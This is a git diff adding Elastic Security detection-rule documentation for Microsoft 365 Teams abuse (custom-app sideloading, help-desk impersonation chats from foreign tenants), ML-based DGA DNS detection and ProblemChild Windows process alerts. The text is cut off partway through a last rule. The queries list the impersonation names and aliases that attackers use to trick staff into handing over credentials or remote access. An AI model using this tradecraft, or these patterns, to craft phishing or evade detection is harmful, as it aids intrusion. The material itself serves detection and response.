+ +*Investigating M365 Teams Custom Application Interaction Enabled* + + +Microsoft Teams allows organizations to enhance functionality by integrating custom applications, which can be developed and uploaded beyond the standard app store offerings. While beneficial for tailored solutions, this capability can be exploited by adversaries to maintain unauthorized access. The detection rule monitors changes in tenant settings that permit custom app interactions, flagging successful modifications as potential persistence threats. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.action: TeamsTenantSettingChanged to identify when the change was made and by whom. +- Verify the identity of the user or account associated with the event to determine if the change was authorized or if the account may have been compromised. +- Check the o365.audit.Name field for "Allow sideloading and interaction of custom apps" to confirm that the alert corresponds to enabling custom app interactions. +- Investigate the o365.audit.NewValue field to ensure it is set to True, indicating that the setting was indeed changed to allow custom apps. +- Assess the event.outcome field to confirm the change was successful and not a failed attempt, which could indicate a different type of issue. +- Examine any recent custom applications uploaded to Microsoft Teams to ensure they are legitimate and not potentially malicious. +- Cross-reference with other security alerts or logs to identify any unusual activity around the time of the setting change that might suggest malicious intent. + + +*False positive analysis* + + +- Routine administrative changes to Microsoft Teams settings can trigger this rule. If a known and authorized administrator frequently updates tenant settings to allow custom apps, consider creating an exception for their user account to reduce noise. +- Organizations that regularly develop and deploy custom applications for internal use may see frequent alerts. In such cases, establish a process to document and approve these changes, and use this documentation to create exceptions for specific application deployment activities. +- Scheduled updates or maintenance activities that involve enabling custom app interactions might be misidentified as threats. Coordinate with IT teams to schedule these activities and temporarily adjust monitoring rules to prevent false positives during these periods. +- If a third-party service provider is authorized to manage Teams settings, their actions might trigger alerts. Verify their activities and, if consistent and legitimate, add their actions to an exception list to prevent unnecessary alerts. +- Changes made during a known testing or development phase can be mistaken for unauthorized access. Clearly define and communicate these phases to the security team, and consider temporary rule adjustments to accommodate expected changes. + + +*Response and remediation* + + +- Immediately disable the custom application interaction setting in Microsoft Teams to prevent further unauthorized access or persistence by adversaries. +- Conduct a thorough review of all custom applications currently uploaded to Microsoft Teams to identify any unauthorized or suspicious applications. Remove any that are not recognized or approved by the organization. +- Analyze the audit logs for any recent changes to the Teams settings and identify the user account responsible for enabling custom application interactions. Investigate the account for signs of compromise or misuse. +- Reset the credentials and enforce multi-factor authentication for the account(s) involved in the unauthorized change to prevent further unauthorized access. +- Notify the security team and relevant stakeholders about the incident and the actions taken. Escalate to higher management if the breach is suspected to have wider implications. +- Implement additional monitoring and alerting for changes to Microsoft Teams settings to quickly detect and respond to similar threats in the future. +- Review and update the organization's security policies and procedures regarding the use of custom applications in Microsoft Teams to ensure they align with best practices and mitigate the risk of similar incidents. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:MicrosoftTeams and +event.category:web and event.action:TeamsTenantSettingChanged and +o365.audit.Name:"Allow sideloading and interaction of custom apps" and +o365.audit.NewValue:True and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-teams-rogue-help-desk-chat-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-teams-rogue-help-desk-chat-created.asciidoc new file mode 100644 index 0000000000..1db1737116 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-teams-rogue-help-desk-chat-created.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-m365-teams-rogue-help-desk-chat-created]] +=== M365 Teams Rogue Help Desk Chat Created + +Identifies a one-on-one Microsoft Teams chat created by a user from a foreign tenant whose display name, member profile, or email local-part resembles IT help desk or Microsoft security staff. Adversaries abuse cross-tenant Teams external access to impersonate support personnel and socially engineer victims into granting remote access or disclosing credentials. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2026/04/18/crosstenant-helpdesk-impersonation-data-exfiltration-human-operated-intrusion-playbook/ +* https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: Email +* Service: Microsoft Teams + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Teams Rogue Help Desk Chat Created* + + +Threat actors create external Microsoft 365 tenants and initiate unsolicited one-on-one Teams chats while impersonating +IT help desk or Microsoft security personnel. These chats often precede vishing, Quick Assist abuse, or malicious link +delivery. + +Review `user.email`, `user.domain`, `o365.audit.Members.DisplayName`, `o365.audit.ChatThreadId`, and +`o365.audit.ParticipantInfo`. Correlate follow-on `MessageSent` events for `source.ip` and `source.geo`, and +`CallParticipantDetail` events sharing the same `o365.audit.CallId` or chat thread for vishing activity. + + +*Possible investigation steps* + + +- Identify the external sender from `user.email`, `user.domain`, and `o365.audit.Members` and determine whether the + tenant or domain is known and trusted. +- Compare `user.name` to `o365.audit.Members.DisplayName` — actors often use a lowercase mailbox alias such as + `helpdesk` while presenting as `Help Desk` in Teams. +- Confirm `o365.audit.ParticipantInfo.HasForeignTenantUsers` is true and that no guest users are involved. +- Pivot on `o365.audit.ChatThreadId` for `MessageSent` and `CallParticipantDetail` events in the same session. +- Review `MessageSent` `source.ip` and `source.geo` for unexpected origin countries relative to the sender profile. +- Correlate with mail-flood, MFA fatigue, or URL click alerts for the targeted user in the same time window. +- Review whether the victim accepted the chat or responded, and hunt for follow-on remote support tool execution on + their endpoint. +- Check whether the sender tenant appears newly created, trial-based, or otherwise anomalous for your environment. + + +*False positive analysis* + + +- Approved external support vendors may use help desk-style display names. Maintain an allowlist of trusted external + tenants or sender domains when recurring benign matches occur. +- The `user.email` and `user.name` impersonation clauses target external mailbox aliases such as `helpdesk@`. Prefer + exceptions anchored on verified tenant IDs or sender domains rather than broad name-based exclusions. + + +*Response and remediation* + + +- Warn the targeted user not to engage and confirm whether they accepted the chat or shared credentials. +- Block or restrict the external tenant via Teams federation policy if malicious. +- Hunt for additional `ChatCreated` events from the same external tenant across the organization. +- Review Teams external access settings and consider blocking trial tenants or restricting federation to an allowlist. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.action:"ChatCreated" and event.provider:"MicrosoftTeams" and event.outcome:"success" and + o365.audit.ParticipantInfo.HasOtherGuestUsers:false and o365.audit.ParticipantInfo.HasGuestUsers:false and + o365.audit.ParticipantInfo.HasForeignTenantUsers:true and o365.audit.CommunicationType:"OneOnOne" and + ( + o365.audit.Members:( + "Help Desk" or "Help Desk Team" or "Help Desk IT" or "IT Help Desk" or + "Microsoft Security" or "Microsoft Security" or "Microsoft Support" + ) or + user.email:( + *helpdesk* or *help.desk* or *help-desk* or *help_desk* or + *ithelp* or *it.help* or *itsupport* or *it.support* or *it-support* + ) or + user.name:(*helpdesk* or *help-desk* or *ithelp* or *itsupport* or support or itassistant or ithelp or it or it_* or itadmin or it-*) or + + (o365.audit.Members: *.onmicrosoft.com and + o365.audit.Members: (*helpdesk* or *help* or *support* or *protection* or *monitoring* or *security* or *department* or *mandatory* or *network* or *systems*)) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing via Service +** ID: T1566.003 +** Reference URL: https://attack.mitre.org/techniques/T1566/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain.asciidoc new file mode 100644 index 0000000000..54f7a0c16c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-predicted-to-be-a-dga-domain]] +=== Machine Learning Detected a DNS Request Predicted to be a DGA Domain + +A supervised machine learning model has identified a DNS question name that is predicted to be the result of a Domain Generation Algorithm (DGA), which could indicate command and control network activity. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/dga +* https://www.elastic.co/security-labs/detect-domain-generation-algorithm-activity-with-new-kibana-integration + +*Tags*: + +* Domain: Network +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Domain Generation Algorithm Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Data Source: Network Packet Capture + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Machine Learning Detected a DNS Request Predicted to be a DGA Domain* + + +Machine learning models can identify patterns in DNS requests that suggest the use of Domain Generation Algorithms (DGAs), which adversaries use to dynamically generate domain names for command and control (C2) communication. This detection rule leverages such models to flag DNS queries likely generated by DGAs, excluding known benign domains, thus helping to identify potential C2 activity. + + +*Possible investigation steps* + + +- Review the DNS query logs to identify the specific domain flagged by the machine learning model as a potential DGA domain. Focus on the field ml_is_dga.malicious_prediction:1 to confirm the prediction. +- Cross-reference the flagged domain with threat intelligence sources to determine if it is associated with known malicious activity or threat actors. +- Investigate the source IP address of the DNS request to identify the device or user responsible for the query. This can help determine if the activity is isolated or part of a larger pattern. +- Analyze network traffic logs for any additional suspicious activity originating from the same source IP, such as unusual outbound connections or data transfers. +- Check for any recent changes or anomalies in the endpoint's behavior or configuration that could indicate compromise or unauthorized software installation. +- If the domain is confirmed to be malicious, initiate containment procedures to block further communication with the domain and prevent potential data exfiltration or further compromise. + + +*False positive analysis* + + +- DNS requests to content delivery networks or cloud service providers can be flagged as DGA domains due to their dynamic nature. Users should review these domains and consider adding them to an exception list if they are verified as legitimate. +- Internal applications that generate dynamic DNS requests for load balancing or failover purposes might trigger false positives. Identify these applications and exclude their domains from the rule to prevent unnecessary alerts. +- Automated testing environments often generate numerous DNS requests that can appear suspicious. Regularly update the exception list with domains used by these environments to minimize false alerts. +- Frequent updates or patches from software vendors may involve dynamic DNS requests. Verify these domains and exclude them if they are confirmed to be part of legitimate update processes. +- Consider monitoring the frequency and pattern of flagged DNS requests. If a domain is consistently flagged but verified as non-threatening, it may be a candidate for exclusion from the rule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further potential command and control communication. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious software. +- Review and block the identified DGA domain and any associated IP addresses at the network perimeter to prevent further access. +- Analyze network traffic logs to identify any other systems that may have communicated with the DGA domain and apply similar containment measures. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the compromise. +- Implement enhanced monitoring for similar DGA patterns and update detection capabilities to quickly identify future occurrences. +- Review and update firewall and intrusion detection/prevention system (IDS/IPS) rules to block known DGA patterns and suspicious DNS activity. + +==== Setup + + + +*Setup* + + +The rule requires the Domain Generation Algorithm (DGA) Detection integration assets to be installed, as well as DNS events collected by integrations such as Elastic Defend, Network Packet Capture, or Packetbeat. + + +*DGA Detection Setup* + +The DGA Detection integration consists of an ML-based framework to detect DGA activity in DNS events. + + +*Prerequisite Requirements:* + +- Fleet is required for DGA Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- DNS events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend], https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration, or https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-overview.html[Packetbeat]. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. +- To set up and run Packetbeat, follow https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[this] guide. + + +*The following steps should be executed to install assets associated with the DGA Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Domain Generation Algorithm Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Configure the ingest pipeline**. + + +==== Rule query + + +[source, js] +---------------------------------- +ml_is_dga.malicious_prediction:1 and not dns.question.registered_domain:avsvmcloud.com + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score.asciidoc new file mode 100644 index 0000000000..033aee9488 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-machine-learning-detected-a-dns-request-with-a-high-dga-probability-score]] +=== Machine Learning Detected a DNS Request With a High DGA Probability Score + +A supervised machine learning model has identified a DNS question name with a high probability of sourcing from a Domain Generation Algorithm (DGA), which could indicate command and control network activity. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* logs-network_traffic.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/dga +* https://www.elastic.co/security-labs/detect-domain-generation-algorithm-activity-with-new-kibana-integration + +*Tags*: + +* Domain: Network +* Domain: Endpoint +* Data Source: Elastic Defend +* Use Case: Domain Generation Algorithm Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Data Source: Network Packet Capture + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Machine Learning Detected a DNS Request With a High DGA Probability Score* + + +Machine learning models analyze DNS requests to identify patterns indicative of Domain Generation Algorithms (DGAs), often used by attackers to establish command and control channels. These algorithms generate numerous domain names, making detection challenging. The detection rule leverages a model to flag DNS queries with high DGA probability, aiding in identifying potential malicious activity. + + +*Possible investigation steps* + + +- Review the DNS query logs to identify the specific domain name associated with the high DGA probability score and gather additional context about the request, such as the timestamp and the source IP address. +- Cross-reference the identified domain name with threat intelligence databases to determine if it is a known malicious domain or associated with any known threat actors or campaigns. +- Investigate the source IP address to determine if it belongs to a legitimate user or system within the network, and check for any unusual or suspicious activity associated with this IP address. +- Analyze network traffic logs to identify any additional communication attempts to the flagged domain or other suspicious domains, which may indicate further command and control activity. +- Check endpoint security logs for any signs of compromise or suspicious behavior on the device that initiated the DNS request, such as unexpected processes or connections. +- Consider isolating the affected system from the network if there is strong evidence of compromise, to prevent further potential malicious activity while conducting a deeper forensic analysis. + + +*False positive analysis* + + +- Legitimate software updates or services may use domain generation techniques for load balancing or redundancy, leading to false positives. Users can create exceptions for known update services or trusted software to reduce these alerts. +- Content delivery networks (CDNs) often use dynamically generated domains to optimize content delivery, which might be flagged. Identifying and whitelisting these CDN domains can help minimize unnecessary alerts. +- Some security tools and applications use DGA-like patterns for legitimate purposes, such as generating unique identifiers. Users should verify the source and purpose of these requests and consider excluding them if they are confirmed to be non-threatening. +- Internal testing environments or development tools might generate domains that resemble DGA activity. Users can exclude these environments from monitoring or adjust the rule to ignore specific internal IP ranges or domain patterns. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further potential command and control communication. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious software. +- Review and block the identified suspicious domain names at the network perimeter to prevent any further communication attempts. +- Analyze network traffic logs to identify any other systems that may have communicated with the flagged domains and apply similar containment measures. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring on the affected system and network segment to detect any signs of persistence or further malicious activity. +- Update and reinforce endpoint protection measures, ensuring all systems have the latest security patches and configurations to prevent similar threats in the future. + +==== Setup + + + +*Setup* + + +The rule requires the Domain Generation Algorithm (DGA) Detection integration assets to be installed, as well as DNS events collected by integrations such as Elastic Defend, Network Packet Capture, or Packetbeat. + + +*DGA Detection Setup* + +The DGA Detection integration consists of an ML-based framework to detect DGA activity in DNS events. + + +*Prerequisite Requirements:* + +- Fleet is required for DGA Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- DNS events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend], https://docs.elastic.co/integrations/network_traffic[Network Packet Capture] integration, or https://www.elastic.co/guide/en/beats/packetbeat/current/packetbeat-overview.html[Packetbeat]. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To add the Network Packet Capture integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. +- To set up and run Packetbeat, follow https://www.elastic.co/guide/en/beats/packetbeat/current/setting-up-and-running.html[this] guide. + + +*The following steps should be executed to install assets associated with the DGA Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Domain Generation Algorithm Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Configure the ingest pipeline**. + + +==== Rule query + + +[source, js] +---------------------------------- +ml_is_dga.malicious_probability > 0.98 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Dynamic Resolution +** ID: T1568 +** Reference URL: https://attack.mitre.org/techniques/T1568/ +* Sub-technique: +** Name: Domain Generation Algorithms +** ID: T1568.002 +** Reference URL: https://attack.mitre.org/techniques/T1568/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-high-malicious-probability-score.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-high-malicious-probability-score.asciidoc new file mode 100644 index 0000000000..da9b5c89ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-high-malicious-probability-score.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-high-malicious-probability-score]] +=== Machine Learning Detected a Suspicious Windows Event with a High Malicious Probability Score + +A supervised machine learning model (ProblemChild) has identified a suspicious Windows process event with high probability of it being malicious activity. Alternatively, the model's blocklist identified the event as being malicious. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/problemchild +* https://www.elastic.co/security-labs/detecting-living-off-the-land-attacks-with-new-elastic-integration + +*Tags*: + +* OS: Windows +* Data Source: Elastic Endgame +* Use Case: Living off the Land Attack Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Domain: Endpoint + +*Version*: 117 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Machine Learning Detected a Suspicious Windows Event with a High Malicious Probability Score* + + +The detection leverages a machine learning model, ProblemChild, to identify potentially malicious Windows processes by analyzing patterns and assigning a high probability score to suspicious activities. Adversaries may exploit legitimate processes to evade detection, often using techniques like masquerading. This rule flags high-risk events by focusing on processes with a high malicious probability score or those identified by a blocklist, excluding known benign activities. + + +*Possible investigation steps* + + +- Review the process details flagged by the ProblemChild model, focusing on those with a prediction probability greater than 0.98 or identified by the blocklist. +- Examine the command-line arguments of the suspicious process to identify any unusual or unexpected patterns, excluding those matching known benign patterns like "*C:\\WINDOWS\\temp\\nessus_*.txt*" or "*C:\\WINDOWS\\temp\\nessus_*.tmp*". +- Check the parent process of the flagged event to determine if it is a legitimate process or if it has been potentially compromised. +- Investigate the user account associated with the process to assess if it has been involved in any other suspicious activities or if it has elevated privileges that could be exploited. +- Correlate the event with other security alerts or logs to identify any related activities or patterns that could indicate a broader attack campaign. +- Consult threat intelligence sources to determine if the process or its associated indicators are linked to known malicious activities or threat actors. + + +*False positive analysis* + + +- Nessus scan files in the Windows temp directory may trigger false positives due to their temporary nature and frequent legitimate use. Users can mitigate this by adding exceptions for file paths like C:\WINDOWS\temp\nessus_*.txt and C:\WINDOWS\temp\nessus_*.tmp. +- Legitimate software updates or installations might be flagged if they mimic known malicious patterns. Users should review the process details and whitelist trusted software update processes. +- System administration tools that perform actions similar to those used in attacks could be misidentified. Users should verify the legitimacy of these tools and exclude them from the rule if they are part of regular administrative tasks. +- Custom scripts or automation tools that are not widely recognized might be flagged. Users should ensure these scripts are secure and add them to an allowlist if they are part of routine operations. +- Frequent false positives from specific processes can be managed by adjusting the threshold of the machine learning model or refining the blocklist to better distinguish between benign and malicious activities. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potential malicious activity. +- Terminate the suspicious process identified by the ProblemChild model to halt any ongoing malicious actions. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats. +- Review and analyze the process execution history and associated files to understand the scope of the compromise and identify any persistence mechanisms. +- Restore any altered or deleted files from backups, ensuring that the backup is clean and free from malware. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for similar processes and activities to detect and respond to future attempts at masquerading or defense evasion. + +==== Setup + + + +*Setup* + + +The rule requires the Living off the Land (LotL) Attack Detection integration assets to be installed, as well as Windows process events collected by integrations such as Elastic Defend or Winlogbeat. + + +*LotL Attack Detection Setup* + +The LotL Attack Detection integration detects living-off-the-land activity in Windows process events. + + +*Prerequisite Requirements:* + +- Fleet is required for LotL Attack Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Windows process events collected by the https://docs.elastic.co/en/integrations/endpoint[Elastic Defend] integration or Winlogbeat(https://www.elastic.co/guide/en/beats/winlogbeat/current/_winlogbeat_overview.html). +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. +- To set up and run Winlogbeat, follow https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation-configuration.html[this] guide. + + +*The following steps should be executed to install assets associated with the LotL Attack Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Living off the Land Attack Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Configure the ingest pipeline**. + + +==== Rule query + + +[source, js] +---------------------------------- +process where ((problemchild.prediction == 1 and problemchild.prediction_probability > 0.98) or +blocklist_label == 1) and not process.args : ("*C:\\WINDOWS\\temp\\nessus_*.txt*", "*C:\\WINDOWS\\temp\\nessus_*.tmp*") and +process.parent.executable != null and not user.id in ("S-1-5-18", "S-1-5-19", "S-1-5-20") and +not process.parent.name : ("cmd.exe", "powershell.exe", "Perplexity.exe", "vmtoolsd.exe", "Code.exe", "explorer.exe", "git.exe") and +not (process.name : "msedgewebview2.exe" and process.parent.name : "msedgewebview2.exe") and +not (process.name : "opera.exe" and process.parent.name : "opera.exe") and +not (process.parent.executable : "C:\\Windows\\System32\\svchost.exe" and + process.name : ("UCPDMgr.exe", "sdbinst.exe", "gpupdate.exe", "rundll32.exe", "taskhostw.exe", "taskeng.exe", "rdpclip.exe", "firefox.exe", "w3wp.exe")) and +not process.executable : ("C:\\Program Files\\*.exe", "C:\\Program Files (x86)\\*.exe") and +not (process.name : "MpCmdRun.exe" and process.parent.name : ("MsMpEng.exe", "MpCmdRun.exe", "svchost.exe")) and +not (process.name : "slack.exe" and process.parent.name : "slack.exe") and +not (process.name : "reg.exe" and process.parent.name : "pycharm64.exe") and +not (process.name : "reg.exe" and process.parent.name : "rider64.exe") and +not (process.name : "LogiLuUpdater.exe" and process.parent.name : "LogiOptionsMgr.exe") and +not (process.name : "chrome.exe" and process.parent.name : "node.exe" and process.command_line : "*playwright*") and +not (process.name : "powershell.exe" and process.command_line : "*\\Zabbix_Scripts\\*.ps1*") and +not (process.parent.name : "opera.exe" and process.command_line: "*--type=renderer*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Masquerade Task or Service +** ID: T1036.004 +** Reference URL: https://attack.mitre.org/techniques/T1036/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-low-malicious-probability-score.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-low-malicious-probability-score.asciidoc new file mode 100644 index 0000000000..16f891e9c2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-low-malicious-probability-score.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-machine-learning-detected-a-suspicious-windows-event-with-a-low-malicious-probability-score]] +=== Machine Learning Detected a Suspicious Windows Event with a Low Malicious Probability Score + +A supervised machine learning model (ProblemChild) has identified a suspicious Windows process event with low probability of it being malicious activity. Alternatively, the model's blocklist identified the event as being malicious. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-10m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* 